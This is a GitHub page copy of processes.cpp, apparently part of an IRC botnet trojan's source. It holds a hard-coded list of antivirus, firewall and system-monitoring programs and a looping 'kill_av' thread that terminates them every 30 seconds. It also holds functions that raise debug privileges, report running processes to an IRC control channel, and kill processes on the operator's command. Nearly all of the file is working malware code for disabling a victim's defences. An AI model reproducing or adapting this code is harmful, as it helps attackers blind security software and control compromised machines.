-
Notifications
You must be signed in to change notification settings - Fork 440
/
Copy pathprocesses.cpp
184 lines (154 loc) · 4.12 KB
/
processes.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
#include "includes.h"
#include "functions.h"
#include "externs.h"
#ifndef NO_PROCESS
// globals
#ifndef NO_AVFW_KILL
int killer_delay = 30000;
//FIX ME, ENCRYPT THESE!! Make this global
char *kill_list[]={
"regedit.exe",
"msconfig.exe",
"netstat.exe",
"msblast.exe",
"zapro.exe",
"navw32.exe",
"navapw32.exe",
"zonealarm.exe",
"wincfg32.exe"
"taskmon.exe",
"PandaAVEngine.exe",
"sysinfo.exe",
"mscvb32.exe",
"MSBLAST.exe",
"teekids.exe",
"Penis32.exe",
"bbeagle.exe",
"SysMonXP.exe",
"winupd.exe",
"winsys.exe",
"ssate.exe",
"rate.exe",
"d3dupdate.exe",
"irun4.exe",
"i11r54n4.exe"
};
#endif
BOOL AdjustPrivileges(char *pPriv, BOOL add)
{
BOOL bRet = FALSE;
TOKEN_PRIVILEGES tkp;
HANDLE hToken;
if (!fOpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&hToken))
return bRet;
if (!fLookupPrivilegeValue(NULL, pPriv, &tkp.Privileges[0].Luid)) {
CloseHandle(hToken);
return bRet;
}
tkp.PrivilegeCount = 1;
if (add)
tkp.Privileges[0].Attributes |= SE_PRIVILEGE_ENABLED;
else
tkp.Privileges[0].Attributes ^= (SE_PRIVILEGE_ENABLED &
tkp.Privileges[0].Attributes);
bRet=fAdjustTokenPrivileges(hToken,FALSE,&tkp,0,(PTOKEN_PRIVILEGES) NULL, 0);
CloseHandle(hToken);
return bRet;
}
int listProcesses(SOCKET sock, char *chan, BOOL notice, char *proccess, BOOL killthread, BOOL full)
{
char sendbuf[IRCLINE];
HANDLE hProcess, hProcess2;
PROCESSENTRY32 pe32 = {0};
MODULEENTRY32 me32 = {0};
if (fCreateToolhelp32Snapshot && fProcess32First && fProcess32Next) {
AdjustPrivileges(SE_DEBUG_NAME, TRUE);
if ((hProcess = fCreateToolhelp32Snapshot(TH32CS_SNAPALL, 0)) != INVALID_HANDLE_VALUE) {
pe32.dwSize = sizeof(PROCESSENTRY32);
if (fProcess32First(hProcess, &pe32)) {
while (fProcess32Next(hProcess, &pe32)) {
if (killthread) {
#ifndef NO_AVFW_KILL
for(int c = 0;c < (sizeof(kill_list) / sizeof(LPTSTR));c++) {
if (lstrcmpi(pe32.szExeFile,kill_list[c]) == 0) {
if (hProcess2=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pe32.th32ProcessID))
if (!TerminateProcess(hProcess2,0))
CloseHandle(hProcess2);
break;
}
}
#endif
}
else if (!proccess) {
if (chan) {
hProcess2 = fCreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pe32.th32ProcessID);
me32.dwSize = sizeof(MODULEENTRY32);
if (full) {
if (fModule32First(hProcess2, &me32))
sprintf(sendbuf," %s (%d)",me32.szExePath,pe32.th32ProcessID);
else
sprintf(sendbuf," %s (%d)",pe32.szExeFile,pe32.th32ProcessID);
} else
sprintf(sendbuf," %s (%d)",pe32.szExeFile,pe32.th32ProcessID);
irc_privmsg(sock,chan,sendbuf,notice,TRUE);
CloseHandle(hProcess2);
}
}
else {
if (strcmp(pe32.szExeFile,proccess) == 0) {
hProcess2 = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pe32.th32ProcessID);
CloseHandle(hProcess);
if (!TerminateProcess(hProcess2,0)) {
CloseHandle(hProcess2);
return 0;
}
return 1;
}
}
}
}
CloseHandle(hProcess);
}
AdjustPrivileges(SE_DEBUG_NAME, FALSE);
}
return 0;
}
DWORD WINAPI listProcessesThread(LPVOID param)
{
char sendbuf[IRCLINE];
LPROC lproc = *((LPROC *)param);
LPROC *lprocp = (LPROC *)param;
lprocp->gotinfo = TRUE;
sprintf(sendbuf,"[PROC]: Listing processes:");
if (!lproc.silent) irc_privmsg(lproc.sock,lproc.chan,sendbuf,lproc.notice);
if (listProcesses(lproc.sock,lproc.chan,lproc.notice,NULL, FALSE, lproc.full) == 0)
sprintf(sendbuf,"[PROC]: Process list completed.");
else
sprintf(sendbuf,"[PROC]: Process list failed.");
if (!lproc.silent) irc_privmsg(lproc.sock, lproc.chan, sendbuf, lproc.notice);
addlog(sendbuf);
clearthread(lproc.threadnum);
ExitThread(0);
}
int killProcess(int pid)
{
int ret=1;
HANDLE pHandle;
if ((pHandle = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid)) != NULL)
if(!TerminateProcess(pHandle,0)) {
ret=0;
CloseHandle(pHandle);
}
return ret;
}
#ifndef NO_AVFW_KILL
DWORD WINAPI kill_av(LPVOID param)
{
while (1) {
listProcesses(0,NULL,NULL,FALSE,NULL,TRUE);
Sleep(killer_delay);
}
return 0;
}
#endif
#endif